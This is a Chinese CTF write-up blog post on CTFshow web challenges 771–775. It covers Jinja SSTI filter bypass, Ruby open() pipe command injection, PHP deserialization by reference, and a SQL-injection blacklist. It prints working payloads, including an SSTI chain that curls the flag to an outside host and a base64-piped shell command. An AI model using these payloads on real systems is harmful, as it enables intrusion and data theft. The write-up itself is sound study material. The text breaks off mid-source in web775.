CTFSHOW大赛原题篇(web771-web790)

博客内容涉及多个CTF(Capture The Flag)挑战,涵盖Web安全的不同方面,如SQL注入、文件包含、命令执行、序列化漏洞等。作者分享了解题过程,包括利用盲注、编码绕过、文件上传、PHP反序列化等技巧,同时也提到了一些特定环境下的漏洞利用,如PHP的pearcmd.php文件包含和Perl的匿名函数调用。此外,还讨论了如何通过蚁剑(Web管理工具)进行远程命令执行和文件操作来获取Flag。

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
暂时先更新到这了,毕竟还是要工作的。。。。

web771

GXYCTF2019 你的名字
题目过滤了{ {}} 只要使用就直接报错,所以只能用{%%}进行盲注了
然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字符里嵌入。
剩下的就是在基础的命令上改下就可以了。

{
  
  {x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
name={%25iconfigf x.__claifss__.__inifit__.__gloifbals__['__buconfigiltins__']['evifal']("__impifort__('o''s').poconfigpen('curl http://xxxx?s=`cat /F*`').read()")%25}1{%25endiconfigf%25}

还有个要注意的点就是这环境竟然没有base64,不知道是我的问题还是题目的问题。
倒是base32可以用。

web773

2021第五空间 PNG图片转换器
原题给了源码的。。。。。
只能在这贴一下了

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') {
   
    |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{
     
     filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

考察ruby open函数漏洞
如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令。

在这里插入图片描述
这里提交的文件名只能是.png结尾的,payload如下。

ls /
file=|echo bHMgLw==|base64 -d|sh > a.png
file=a.png

cat /F*
file=|echo Y2F0IC9GKg==|base64 -d|sh > a.png
file=a.png

web774

考点其实就下面一个地方,利用地址符赋值就可以了。
在这里插入图片描述

<?php  

class acp 
{
   
      
    public $cinder;  
    public $neutron;
    public $nova;

class ace
{
   
       
    public $filename;     
    public $openstack;
    public $docker; 
}  
$a=new acp();
$b=new ace();
$c=new ace();
$b->docker=$c;
$b->nova=&$b->openstack;
$b->filename='flag.php';
$a->cinder=$b;
echo serialize($a);

?>


web775

原题是有源码的…

<?php
include_once("lib.php");
function alertMes($mes,$url){
   
   
    die("<script>alert('{
     
     $mes}');location.href='{
     
     $url}';</script>");
}

function checkSql($s) {
   
   
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
   
   
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) 
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值